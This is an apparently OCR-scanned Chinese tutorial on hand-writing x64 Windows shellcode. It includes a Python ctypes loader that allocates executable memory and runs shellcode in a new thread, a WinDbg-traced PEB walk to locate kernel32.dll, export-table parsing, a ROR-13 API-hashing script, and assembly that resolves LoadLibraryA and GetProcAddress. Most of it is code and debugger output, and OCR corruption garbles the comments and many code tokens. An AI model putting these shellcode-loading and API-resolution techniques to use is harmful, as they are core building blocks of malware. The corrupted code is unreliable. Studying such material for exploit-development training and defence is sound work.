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pip3 install keystone-engine

O T T TE OAeeETITARTITITTTITITTTT Shellcode [T]

import ctypes, struct

from keystone import *

CODE = (

" start: !

. int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT
DEBUGGING! !'!

ks = Ks(KS_ARCH X86, KS MODE 64)
encoding, count = ks. asm( CODE)

print("Encoded %d instructions..." % count)

sh = bll n
for e in encoding:
sh += struct. pack("B", e)

shellcode = bytearray(sh)

ctypes. windll. kernel32. VirtualAlloc. restype = ctypes. c _uint64

ptr = ctypes. windll. kernel32. VirtualAlloc(ctypes.c int(0),
ctypes. c_int(len(shellcode)),
ctypes. c_int(0x3000),
ctypes. c_int(0x40))

buf = (ctypes.c char * len(shellcode)). from buffer(shellcode)

ctypes. windll. kernel32. RtlMoveMemory( ctypes. c_uint64(ptr),

buf,

ctypes. c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes. windll. kernel32. CreateThread(ctypes. c _int(0),
ctypes. c_int(0),
ctypes. c uint64(ptr),



ctypes. c_int(0),
ctypes. c_int(0),
ctypes. pointer(ctypes.c int(0)))

ctypes. windll. kernel32. WaitForSingleObject(ctypes. c _int(ht), ctypes.c int(-1))

[METSTIIMMITShellcode ITTTTTITITINPW TITITHhellcode[TTTITITT] Python [TTTTTTIIT]

C:\Users\Administrator\Desktop>python sc.py
Encoded 236 instructions...

Shellcode located at address 8x281UE8dEEE86
.ENTER TO EXECUTE SHELLCODE.. |

(O WinDBppMihpn.exe [T]

Process PID Platform User Session Command line Services Package Family

chrome.exe 16208 Xo64 NWINSLOW\Administrato "C:\Program Files\Google\Chrome\Applicat

1
chrome.exe 4180 X64 NWINSLOW\Administrato 1 "C:\Program Files\Google\Chrome\Applicat
python.exe 20824 Xo4 NWINSLOWNAdministrato 1 python sc.py
QQPYCloud.exe 29792 %86 NWINSLOW\Administrato 1 "D:\Software\QQPinYin\6.6.6304.400\QQPY

gython.exe [TTTTTTTTTTTITITTTTTTITTITTTITTTTTTITT0T) Shellcode [IT1T]

Disassembly v 2 X
Address: | @%scopeip Follow current instruction

0RORO281 48d80BRO cC int 3 -
0PoEN281 42d2PER1 224000000 call 200RB28148D8002A

00000281 48d80006 4889c5 mov rbp, rax

0RoEN281 48d2PER9 A1b88%ededeec mov r8d, OECOEAESEh

0Pee0281 48d8e0ef e8c3000000 call 20088281480888D7

0P0eN281 48d8PO14 4989c4 mov riz, rax

0P0eR281 48d8e017 41b8aafced7c mov r8éd, 7CODFCAAh

0PeeN281 48d8e01d e8h5000000 call 20088281480888D7

Sysca"

M TIsyscall DT T T CERARE TITTTTTTTTTTTTSAdN code TTTTTTTTTTTTITIITI

Windows NTAPI [TT] UNBEAWTEN [TTTTTTTTITTTTTTITTIIT NTAPH T T T TS SN T
Windows [TT1] SSN [T Linux T TIITITITITWindows [J syscall [TTTTITITIT]

[T sysca g

[OWSTARTIIIITD
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Kernel32.dll [BoadLibraryA [TTTITT] DLL [TTTIGetModuleHarGid¢RifEAA &4 [EPRALIKRTAFY T TTTT1T
GetProcAddress [] 2 [TTITIIIIIIIIIIIIIT Kernel32.dll [TTTT1T] Kernel32.dll [T1T] 2 T
[ITT11] ShellT1] ShellITITITIIT]

KERNEL32

(IIIIIIIIID LoadLibraryA [] GetProcAddress [T Kernel32.dIIITIIIITKernel32.dll

[T KerneBEBIMX60 [PHB| [TTTITITI1I111]

mov rax, gs:[0x60]; # RAXTEB[ProcessEnvironmentBlock[TTTTTPEB[T]

Command

e:000> dt ntdll! teb @%teb

+0x000 NtTib : NT TIB
+68x@838 EnvironmentPointer : (null)
+oxe4e ClientId i CLIENT_ID

+0x@50 ActiveRpcHandle : (null)

+0x@58 ThreadlocalStoragePointer : ox@000024f 83c25248 Void
+Bx060 ProcessEnvironmentBlock : ©x@0000081 @a2dbee® PEB
+0x068 LastErrorValue : ©

+0x06c CountOfOwnedCriticalSections : @

+0x@70 CsrClientThread : (null)

+8x878 Win32ThreadInfo : (null)

+0x080 User32Reserved : [26] @
+8x@e8 UserReserved : [5] @
+8x100 WOW32Reserved : (null)
+0x108 CurrentLocale 1 Bx409

+8x10c FpSoftwareStatusRegister : ©

[ PEB @18 [TPHBLUDR_DATA [111]

mov rsi,[rax+0x18]; # [PEB[ITLDRIIIIIT] PEB LDR DATAMITIT
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Command

0:001> dt ntdll! peb @$peb
+0x000 InheritedAddressSpace : © '
+0x001 ReadImageFileExecOptions : @ '
+0x0882 BeingDebugged poexa !
+0x083 BitField D exa '
+0x003 ImageUsesLargePages : Qy®
+0x003 IsProtectedProcess : oy@
+0x0883 IsImageDynamicallyRelocated : @yl
+0x0883 SkipPatchingUser32Forwarders : 0y
+0x003 IsPackagedProcess : @ye
+0x003 IsAppContainer : @Qye
+0x0883 IsProtectedProcessLight : @ye
+0x803 IsLongPathAwareProcess : Qyo

+0x084 Padding® : [4] "¢

+9x008 Mutant ! oxftH i fHfHfHff void

+0x010 ImageBaseAddress : @x0eee7ff7 4e6bceeee Void

+0x@18 Ldr ! @xeeee7ffd 98tb4380 PEB LDR_DATA

+0x0820@ ProcessParameters : 9x00000281 46a169e@ RTL_USER _PROCESS PARAMETERS

[+

_PEB_LDR_DATA [[PHE]LDR_DATA [[[IINNEEdOfde ModuleListihMemoryOrderModuleList(]

InlnitializationOrderModulelList(]

@:001> dt _peb ldr_data exeeee7ffd 98fb43se
ntdll! PEB LDR DATA

+0x00@ Length ! Ox58
+0x004 Initialized poexl Ut
+0x008 SsHandle : (null)

+0x010 InLoadOrderModulelList : LIST ENTRY [ Ox00000281 46312660 - 0x00000281 4711220 |
+0x02@ InMemoryOrderModuleList : LIST ENTRY [ ©x00000281 46212670 - 0x00000281 471f2e30 |

+0x03@ InInitializationOrderModuleList : LIST ENTRY [ ©x00000281 46al24e0 - 0x00000281 471f2e40 |

+0x04@ EntryInProgress : (null)
+0x048 ShutdownInProgress : @ "'
+0x050 ShutdownThreadId : (null)

InLoadOrderModuleList [TTTTTTITITInMemoryOrdefMddilfiaiadizEtionOrderModul e LiI$ETTTTTTTTTTTITIT]

03 [ETSMIENTRY [TTIRGARBAAKITTIT]

9:001> dt list entry oxeeee7ffd 98fb4380 + 0x1@
ntdll! LIST ENTRY
[ 6x00000281 46312660 - Ox00000281 471f2e20 |

+0x000 Flink 1 ©x000PeV281 46212660 LIST ENTRY | ©0x00000281 46a124c0® - exveve7ffd 98fb439e ]
+0x008 Blink ! 9xP0000281 47112e20 LIST ENTRY [ 0x000071fd 98fb4390 - 0x00000281 47111160 ]

9:001> dt list entry oxeeee7ffd 98fb4380 + 0x20
ntdll! LIST ENTRY
[ 6x00000281 46312670 - Ox00000281 471f2e30 |

+0x000 Flink : 9xP0P00281 46312670 LIST ENTRY [ 0x00000281 46al124d0 - @xeeee7ffd 98fb43ae ]
+0x008 Blink ! 9xP0000281 47112e30 _LIST_ENTRY [ 0x000071fd 98fb43a0 - 0x00000281 47111170 ]

9:001> dt list entry oxeeee7ffd 98fb4380 + 0x30
ntdll! LIST ENTRY
[ 6x00000281 46212420 - OXx00000281 471f2e40 |

+0x000 Flink ! 0X000002817 46a124€0 _LTIST_ENTRY [ 0x00000281 46a17980 - 0x00007ffd 98fba3bo ]
+0x008 Blink ! 0X00000281° 471240 _LTIST_ENTRY [ 0x00007ffd 98fba3bo - 0x00000281° 46b0a0d0 ]
[IMMEmMeryOTrddiMétuleList T1T]

mov rsi,[rsi + 0x20]; # RSI[] PEB LDR DATA[TITInMemor yOrderModulelList[ITIT]
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Command

@:001> dt list entry exeeee7ftd 98fba3g8e + 8x20
ntd11l! LIST ENTRY
[ 6xPPEPE281 46212670 - OxPEEO281 471f2e30 |

+0x000 Flink : OX00000281 46212670 _LIST_ENTRY [ 0X00000281 46a124d0 - 0x00007ffd 98fba3a0 ]
+0x008 Blink : ©X00000281 471f2e30 LIST ENTRY | 0x00007ffd 98fb43a0 - ©x00000281 4711170 |
InMemoryOrderModuleList [TTTT] Flink [TITTITHTBlink [T T TITIITIT]
28146a124d0 28146a17380
7fd98fba3a0 28146a12670
fidik: 281°46a12670 Hidik: 28146a124d0

281°46a12670

281°471f2e30

ftbilk: Ox7ffd98fb43a0

0x7ffd98fb43a0

0x281471f1170

fibdik: 281°471f2e30

[TEDRIDATATTABLE_ENTRY [TTITTITTIIT] InMemory Ox3OTIRKI TTTTTTT] 0x10 [TTTTTTTTIITIT]

©:001> dt -r _LDR DATA TABLE ENTRY 0x00000281 46a12670-0x10
ntdll! LDR_DATA TABLE ENTRY
+6x@0@ InloadorderLinks : LIST ENTRY [ @x00e00281 46al24ce - exeeee7ffd 9sfba3oe |

+0x0080 Flink : OxPeeee281 46a124c0 LIST ENTRY [ 9x00000281 46217370 - Ox00000281 46312660 ]
+0x000 Flink : Bx00000281 46317370 LIST ENTRY [ 9x00000281 46317960 - 0x00000281 46al24ce ]
+0x008 Blink : Bx00000281 46312660 _LIST _ENTRY | 9x00000281 46al24ce - ©x0e007ffd 98fba3ge ]
+0x008 Blink : Oxeeee7ffd 98fb4390 _LIST_ENTRY [ ©x00000281 46312660 - ©x00000281 471f2e20 |
+0x000 Flink 1 9X00000281 46212660 LIST _ENTRY [ @x00000281 46al24c9 - @xee0e7ffd 9s8fb43oe ]
+0x008 Blink : Bxeeen281” 471f2e20 _LIST_ENTRY [ oxoepe7ffd 98fba3ge - exeeween281 4711160 ]
+6x010 InMemoryOrderLinks : LIST ENTRY [ ©x00000281 46a124de - 0xe0ee7ffd 98fb43ae ]
+0x000 Flink : Ox00000281 46a124de LIST ENTRY [ ©Px00000281 46317380 - ©x0000E281 46312670 ]
+0xe0@ Flink 1 0x00000281 46317380 LIST _ENTRY [ ©0x00000281 46317970 - 0x00000281 46al24de ]
+0xee8 Blink 1 0x00000281 46312670 _LIST _ENTRY [ 0x00000281 46al24de - @xeeee7ffd 9s8fb43ae ]
+0x008 Blink : exeeee7ffd 9gfbazae _LIST_ENTRY [ 0x0000V281 46212670 - OXxPEREA281  471f2e30 ]
+0x000 Flink : @X00p0a281  46a12670 _LIST_ENTRY [ Px00peV281 46a124d0 - Oxeeee7ffd 98fb4a3an ]
+0x008 Blink : Bx00000281 471f2e30 _LIST_ENTRY [ ©x00007ffd 98fb43a0 - ©xP0000281 4711170 ]
+0x020 InInitializationOrderLinks : _LIST _ENTRY | ©x00000000 00000000 - OxP0000000 0000000 |
+0x000 Flink : (null)
+0x@08 Blink : (null)

LDR3 [LIST ENTRY [[EOR_DATA_TABLE_ENTRY [[BI[IIIIIII[
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PEB

|
| ---> PEB_LDR DATA

I
| ---> InLoadOrderModuleList ( LIST ENTRY)

I I

| | ---> LDR DATA TABLE ENTRY (module 1)
| | ---> LDR DATA TABLE ENTRY (module 2)
| [---> ...

I
| ---> InMemoryOrderModuleList ( LIST ENTRY)

I I

| | ---> LDR DATA TABLE ENTRY (module 1)
| | ---> LDR DATA TABLE ENTRY (module 2)
| [---> ...

|
| ---> InInitializationOrderModulelList ( LIST ENTRY)

|
| ---> LDR DATA TABLE ENTRY (module 1)

| ---> LDR DATA TABLE ENTRY (module 2)

[---> ...

[IIIIII0 _LDR _DATA TABLE_GX3BYOXIFS [[TIIIII1]]

Command

9:001> dt  _LDR_DATA TABLE_ENTRY ©x80000281 46a12670-0x10
ntdll! LDR_DATA TABLE_ENTRY
+0x000 InloadOrderlLinks : LIST ENTRY [ ©x00000281 46a124ce® - @xeeeea7ffd 98fb43ge ]
+0x010 InMemoryOrderLinks : LIST ENTRY [ ©x00000281 46al24de - exeees7ffd 98fba3ae |
+0x020 InInitializationOrderLinks : LIST ENTRY [ ©x©0000000 00000000 - Ox00000000 00000000 |

+0x@30 DllBase 1 @xeeee7ff7 46bcobee Void
+0x038 EntryPoint 1 Bx0ePe7ff7 46bcl2a® Void
+9x040 SizeOfImage : Bx1aoeeo
+0x048 FullDl1lName : _UNICODE_STRING "C:\Users\Administrator\AppData\Local\Programs\Python\Python311\python.exe"
+0x@58 BaseDllName : _UNICODE_STRING "python.exe"
+0x068 FlagGroup : [4] TRt
+0x068 Flags 1 Bx22cc
[T 3 0TI (0110 InMemoryOrderLinks [T T 1 T

BabdDIIName [[UNICODE_STRING [}

0:001> dx -r1 (*((ntdll! UNICODE STRING *)@x28146a126bs))

(*((ntdll! UNICODE STRING *)®@x28146a126b8)) [Type: UNICODE STRING]
[+exeee] Length : @x14 [Type: unsigned short]
[+exe82] MaximumLength : @x16 [Type: unsigned short]
[+exea8] Buffer 1 Bx28146al7@ae : "python.exe"” [Type: wchar t *]

[LLTTIT]
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mov r9, [rsi + 0x20]; # RO [IITIIIIIIIO
mov rdi, [rsi + Ox50]; # RDI [ITPl1BaseName[TBuffer IITTIIIIIIIIIL]

mov rsi, [rsil; # [N

| ' ZIKENel32Kefnel 32T TTTTTTITTIITTITTIII
D])D]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]lz EI]]]]]]]]]]]]]]]]]]]]]]]]]]]]

LTI T T T ITTITIT] KERNEITZTITERE nel 321111 kernel32[TT11T]

add rdi, 2; # [IK[DI
check upper: # [II'ERNEL32."[1T]
mov rl2, 0x0045004E00520045; # Unicode[T]] "ENRE"
mov rl3, 0x002e00320033004c; # Unicode[T]]". 23L"
mov rdx, qword ptr [rdil; # [I11J] "ERNEL32.DLL" [JTRDX
cmp rdx, rl2; # [TW[IIT'ENRE" [T
jne check lower; # [QTTTIITITIIIIT]
mov rdx, qword ptr [rdi + 8]; # [IIIIITIITILI'. 23L" [TTRDX
cmp rdx, rl3; # [JWBOIT'. 23L"[J
jne next module; # [TTTIITITIITIT]
mov rax, r9; # [Tkernel32[T]
ret;
check lower: # [II'ernel32."[10]
mov rl12, Ox0065006E00720065; # Unicode[]]] "enre"
mov rl13, 0x002e00320033006c; # Unicode[IT]". 231"
mov rdx, qword ptr [rdil;

cmp rdx, rl2;

jne next module; # I

mov rdx, gqword ptr [rdi + 8];
cmp rdx, rl3;

jne next module;

mov rax, r9;

ret;

(ITTTTTT] KERNEL32.DLL [T1T]



Command

8:80801> r r9

ro=peee7ffdosefeooe

0:001> 1m m kernel32

Browse full module list

start end module name

peee7ffd 9sofoeoe eeep7ffd 981b2o66 KERMELZ32 (pdh Symbﬂlsj
@:001> du rdi-2

0PPEE281 46310838 "KERNEL32.DLL"

API

([0 KERNEL32.DLL [JTEOHdLIbAa Y]

HGeEAioEAddress TIPS A T TTITITTITTTT

10Tk lfanewIIITTINTO
2[ITTIIITRVATVMA
3T

A[TTENP TIIIIIIIRVAIIIIIILI
S[IPTHIIIITO
6[TEAT[IIIITRVATIVMA

04 [T

parse module: # [TTTTIPLL[T]
mov ecx, dword ptr [r9 + Ox3c]; # ROMIIIIIIITINTINO
mov r15d, dword ptr [r9 + rcx + 0x88]; # [IIIIITRVA
add r15, r9; # R14TIITITVMA
mov ecx, dword ptr [rl5 + 0x18]; # ecx[TTTTTTTITITIITT
mov rl4d, dword ptr [rl5 + 0x20]; # [TENPT[RVA
add rl4, r9; # R14 [JTENPT[VMA

search function: # [III1[J
jrcxz not found; # [TRCXOOIIIIIIIT]
dec ecx; # [III1L
Xxor rsi, rsi;

mov esi, [rl4 + rcx*4]; # [IIIIIITRVA
add rsi, r9; # RSI [IIIIIII0

T T T T 2 [T

[IITTT] Python [TTTT]
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# /usr/bin/python

import numpy, sys

def ror str(byte, count):
binb = numpy. base repr(byte, 2).zfill(32)
while count > ©:
binb = binb[-1] + binb[0:-1]
count -=1

return (int(binb, 2))

if name =="' main_ ':

try:
rsi = sys.argv[1]

except IndexError:
print("Usage: %s INPUTSTRING" % sys. argv[0])
sys. exit()

# Initialize variables

rdx = 0x00

ror _count = 0

for rax in rsi
rdx = rdx + ord(rax)
if ror _count < len(rsi)-1

rdx = ror_str(rdx, 0xd)

ror count +=1

print(hex(rdx))

~/Desktop/0SED/poc/a7
computehash.py LoadlibraryA

start:
sub rsp, 0x20; # [0
call find kernel32;
add rsp, 0x20; # [II0J
mov rbp, rax; # RBP[JKernel32.dll[]
mov r8d, OxecOede8e; # LoadlLibraryA[]
sub rsp, 0x20; # [II10J
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call parse module; # [I] LoadLibraryA[ITTIIT]
add rsp, 0x20; # [I1[J
mov rl2, rax;
mov r8d, Ox7cOdfcaa; # GetProcAddress[]]
sub rsp, 0x20; # [II0[J
call parse module; # [JlGetProcAddress[TIIIIT]
add rsp, 0x20; # 1[I
mov rl3, rax;
function hashing: # [II1101
XOr rax, rax;
xor rdx, rdx;
cld; # [IDFIL
iteration: # [II111]
lodsb; # RSI[ITITITITAL
test al, al; # [IIIIIIID
jz compare_hash; # [II1J
ror edx, 0x0d; # [III10
add edx, eax; # [III1[J
jmp iteration; # [I110J
compare hash: # [I11I

cmp edx, ra8d;

jnz search_function; # [T ( IITTD
mov r10d, [rl15 + 0x24]; # [IIRVA

add r10, r9; # [[[VMA

movzx ecx, word ptr [rl0 + 2*rcx]; # 110 -1
mov rlld, [r15 + Oxlc]; # EAT[RVA

add r1l1, r9; # EAT[VNA

mov eax, [rll + 4*rcx]; # RAX[IIIRVA

add rax, r9; # RAX{IIITNVMA
ret;
not found:"

ret;

(LITITTIIT]



9E514 3E4 ATC4D ATC3D LoadEnclaveData
9E518 3E5 195C0 ATCTC LoadLibraryA
QE51C 3E6 18350 ATCES LoadLibraryExA
QE520 3E7 14090 ATCI98 LoadLibraryExW
T | |9E524 3E8 18EED ATCAT LoadLibraryW
o |9E528 3E9 67810 ATCB4 LoadModule
E 9E52C 3EA 20Ce0 ATCBF LoadPackagedL...
v| £ |areon 2ED 12650 ATCD2 LoadRacanrca

File: C:/Windows,/System32/kernel32.dll

9:804> r rax
rax=0eee7ffdog1e95ce
@:004> ? rax-rbp

Evaluate expression: 103872 = 00200000 000195cH

[ITTTTTITTTTTIT AP [ITTTTT] Shellcode [TTTT]
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